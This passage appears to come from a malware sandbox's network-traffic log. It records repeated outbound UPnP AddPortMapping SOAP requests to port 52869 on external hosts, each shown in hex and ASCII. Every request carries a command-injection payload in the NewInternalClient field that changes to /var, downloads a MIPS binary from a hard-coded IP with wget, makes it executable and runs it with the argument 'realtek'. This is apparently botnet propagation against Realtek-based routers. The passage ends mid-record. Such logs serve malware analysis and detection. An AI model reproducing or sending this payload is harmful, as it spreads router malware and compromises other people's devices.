                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:39.833717108 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:54.937189102 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:28:25.656327963 CET959OUTPOST /wanipcn.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      67192.168.2.155267645.42.83.8552869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:25.989701033 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>


                                                      Session IDSource IPSource PortDestination IPDestination Port
                                                      68192.168.2.155711845.115.241.22052869
                                                      TimestampBytes transferredDirectionData
                                                      Mar 13, 2024 16:27:26.140408039 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                      Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf nig; wget http://147.78.103.89/bins/mips -O nig; chmod 777 nig; ./nig realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
                                                      Mar 13, 2024 16:27:27.769922972 CET959OUTPOST /picdesc.xml HTTP/1.1
                                                      Host: 127.0.0.1:52869
                                                      Content-Length: 630
                                                      Accept-Encoding: gzip, deflate
                                                      SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
                                                      Accept: */*
                                                      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
                                                      Connection: keep-alive
                                                      Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6e 69 67 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 37 2e 37 38 2e 31 30 33 2e 38 39 2f 62 69 6e 73 2f 6d 69 70 73 20 2d 4f 20 6e 69 67 3b 20 63 68 6d 6f 64 20 37 37 37 20 6e 69 67 3b 20 2e 2f 6e 69 67 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 